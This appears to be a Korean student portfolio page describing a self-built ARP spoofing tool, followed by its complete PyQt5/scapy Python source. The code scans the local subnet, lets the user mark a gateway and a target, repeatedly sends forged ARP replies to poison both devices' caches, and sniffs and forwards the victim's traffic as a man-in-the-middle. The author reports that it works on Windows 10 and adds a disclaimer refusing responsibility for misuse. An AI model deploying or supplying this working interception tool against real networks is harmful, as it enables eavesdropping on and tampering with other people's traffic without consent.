ARP-Soofing tool(python)

진행기간

• 2주 소요

주요 내용

• get_my_ip(): 현재 자신의 IP 주소를 가져오는 함수
• get_my_mac(): 현재 자신의 MAC 주소를 가져오는 함수
• get_hostname(ip_address): IP 주소를 입력받아 해당 IP 주소에 해당하는 호스트 이름을 가져오는 함수
• list_clear(): 모든 리스트 변수를 초기화하는 함수
• get_address_list(): 현재 네트워크 내의 모든 호스트들의 IP, MAC 주소 및 호스트 이름을 가져오는 함수
• ScanThread: 스캔 작업을 수행하는 스레드
• get_gateway(): 게이트웨이 IP 주소 및 MAC 주소를 가져오는 함수
• get_target(): 공격 대상 IP 주소 및 MAC 주소를 가져오는 함수
• start_spoofing(): ARP Spoofing 공격을 시작하는 함수

본인이 기여한 일

• arp프로토콜에 대한 교육을 진행
• scapy모듈을 이용하여 패킷을 변조하여 다시 전송하는 코드 작성
• arp-spooping 기능 구현
• UI 제작

사용한 기술

• PyQt5: 파이썬 GUI 프레임워크
• threading: 스레드를 이용한 병렬 처리
• netifaces: 네트워크 인터페이스 정보 조회
• scapy: 패킷 조작 및 분석 도구
• psutil: 시스템 리소스 및 프로세스 정보 조회

어려웠던점

• arp패킷의 구조를 공부하며 어떤것을 수정해야 잘 작동하는지 설계하는것
• 이더넷 상태와 무선랜 상태를 인식하고 그에 맞는 mac주소를 부여하는 코드 작성이 어려웠다
• 현재 네트워크에 있는 정보를 가져오는것이 어려웠다

결과

• 윈도우 10 기준으로 작동이 잘 되는것을 확인
• 패킷을 스니핑이 가능하고 변조하여 보내는것도 가능
• DNS스푸핑 제작 예정

코드

• 아래 코드를 사용하여 일어나는 불이익은 저에게 책임이 없습니다.

from PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLabel, QTableWidget, \\
    QTableWidgetItem, QAbstractItemView, QMessageBox
import netifaces
from scapy.all import *
from scapy.layers.l2 import ARP, Ether, arping
import psutil
import socket
import threading

mac_list = []
ip_list = []
hostname_list = []
all_list = []

my_mac = ""
gateway_ip = ""
gateway_mac = ""
target_ip = ""
target_mac = ""

def get_hostname(ip_address):
    try:
        return socket.gethostbyaddr(ip_address)[0]
    except:
        return "unknown"

def get_my_ip():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("www.google.com", 443))
    return sock.getsockname()[0]

def list_clear():
    mac_list.clear()
    ip_list.clear()
    hostname_list.clear()
    all_list.clear()

def get_address_list():
    ans, unans = arping(".".join(get_my_ip().split(".")[:3]) + ".0/24")
    list_clear()
    for s, r in ans:
        mac_list.append(r[Ether].src)
        ip_list.append(r[ARP].psrc)
        hostname_list.append(get_hostname(r[ARP].psrc))

    for h, i, m in zip(hostname_list, ip_list, mac_list):
        all_list.append([h, i, m])
    return all_list

def get_my_mac():
    for iface, addrs in psutil.net_if_addrs().items():
        for addr in addrs:
            if addr.family == psutil.AF_LINK:  # MAC 주소가 있는 경우
                if 'Ethernet' in iface:
                    net_if_addrs = psutil.net_if_addrs()
                    mac_address = None
                    for interface_name, interface_addresses in net_if_addrs.items():
                        for address in interface_addresses:
                            if address.family == psutil.AF_LINK:
                                mac_address = address.address
                                break
                        if mac_address is not None:
                            break
                    return mac_address

                elif 'Wi-Fi' in iface:
                    interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
                    return netifaces.ifaddresses(interface)[netifaces.AF_LINK][0]['addr']

class ScanThread(threading.Thread):
    def __init__(self, table):
        threading.Thread.__init__(self)
        self.table = table

    def run(self):
        self.table.clearContents()
        self.table.setRowCount(0)
        rows = get_address_list()
        for row in rows:
            self.table.insertRow(self.table.rowCount())
            for col in range(3):
                self.table.setItem(self.table.rowCount() - 1, col, QTableWidgetItem(str(row[col])))

class MainWindow(QWidget):
    def __init__(self):
        super().__init__()
        self.setGeometry(700, 300, 500, 300)
        self.packet_reply_thread = None
        self.packet_request_thread = None
        self.poison_thread = None
        self.table = QTableWidget()
        self.table.setColumnCount(3)
        self.table.setHorizontalHeaderLabels(['Hostname', 'IP', 'MAC'])
        self.table.setSelectionBehavior(QAbstractItemView.SelectRows)

        self.scan_button = QPushButton('Scan')
        self.scan_button.clicked.connect(self.scan)

        self.gateway_button = QPushButton('Gateway')
        self.gateway_button.clicked.connect(self.get_gateway)

        self.target_button = QPushButton('Target')
        self.target_button.clicked.connect(self.get_target)

        self.start_spoofing_button = QPushButton('Start Spoofing')
        self.start_spoofing_button.clicked.connect(self.start_spoofing)

        self.stop_spoofing_button = QPushButton('Stop Spoofing')
        self.stop_spoofing_button.clicked.connect(self.stop_spoofing)

        # Set up layout
        layout = QVBoxLayout()
        layout.addWidget(self.table)
        layout.addWidget(self.scan_button)
        layout.addWidget(self.gateway_button)
        layout.addWidget(self.target_button)
        layout.addWidget(self.start_spoofing_button)
        layout.addWidget(self.stop_spoofing_button)

        self.setLayout(layout)

    def scan(self):
        scan_thread = ScanThread(self.table)
        scan_thread.start()

    def get_gateway(self):
        global gateway_ip, gateway_mac
        selected_rows = self.table.selectionModel().selectedRows()

        if selected_rows:
            selected_row = selected_rows[0].row()

            gateway_ip = self.table.item(selected_row, 1).text()
            gateway_mac = self.table.item(selected_row, 2).text()

            print(f"Gateway IP: {gateway_ip}, MAC: {gateway_mac}")
        else:
            if not gateway_ip:
                QMessageBox.about(self, '경고', '지정된 Gateway가 없습니다.')

    def get_target(self):
        global target_ip, target_mac
        selected_rows = self.table.selectionModel().selectedRows()

        if selected_rows:
            selected_row = selected_rows[0].row()

            target_ip = self.table.item(selected_row, 1).text()
            target_mac = self.table.item(selected_row, 2).text()

            print(f"Target IP: {target_ip}, MAC: {target_mac}")
        else:
            if not target_ip:
                QMessageBox.about(self, '경고', '지정된 Target이 없습니다.')

    def start_spoofing(self):
        def target_arp_cache_poisoning():

            arp = ARP(op=2, hwsrc=get_my_mac(), psrc=gateway_ip, hwdst=target_mac, pdst=target_ip)
            send(arp)

        def ap_arp_cache_poisoning():
            arp = ARP(op=2, hwsrc=get_my_mac(), psrc=target_ip, hwdst=gateway_mac, pdst=gateway_ip)
            send(arp)

        def poison():
            while True:
                target_arp_cache_poisoning()
                ap_arp_cache_poisoning()
                time.sleep(2)

        def packet_request():
            sniff(
                filter="ip src " + target_ip + " and ether dst " + get_my_mac() + " and ether src " + target_mac,
                prn=send_packet_to_gateway)

        def packet_reply():
            # while True:
            sniff(
                filter="ether src " + gateway_mac + " and ip dst " + target_ip + " and ether dst " + get_my_mac(),
                prn=send_packet_to_target)

        def send_packet_to_gateway(packet):
            packet[Ether].src = get_my_mac()
            packet[Ether].dst = gateway_mac
            sendp(packet)

        def send_packet_to_target(packet):
            packet[Ether].src = get_my_mac()
            packet[Ether].dst = target_mac
            sendp(packet)

        self.poison_thread = threading.Thread(target=poison)
        self.poison_thread.start()

        self.packet_request_thread = threading.Thread(target=packet_request)
        self.packet_request_thread.start()

        self.packet_reply_thread = threading.Thread(target=packet_reply)
        self.packet_reply_thread.start()

    def stop_spoofing(self):

        self.packet_reply_thread._stop()
        self.packet_request_thread._stop()
        self.poison_thread._stop()

        print("Spoofing stopped")

if __name__ == '__main__':
    app = QApplication([])
    window = MainWindow()
    window.show()
    app.exec_()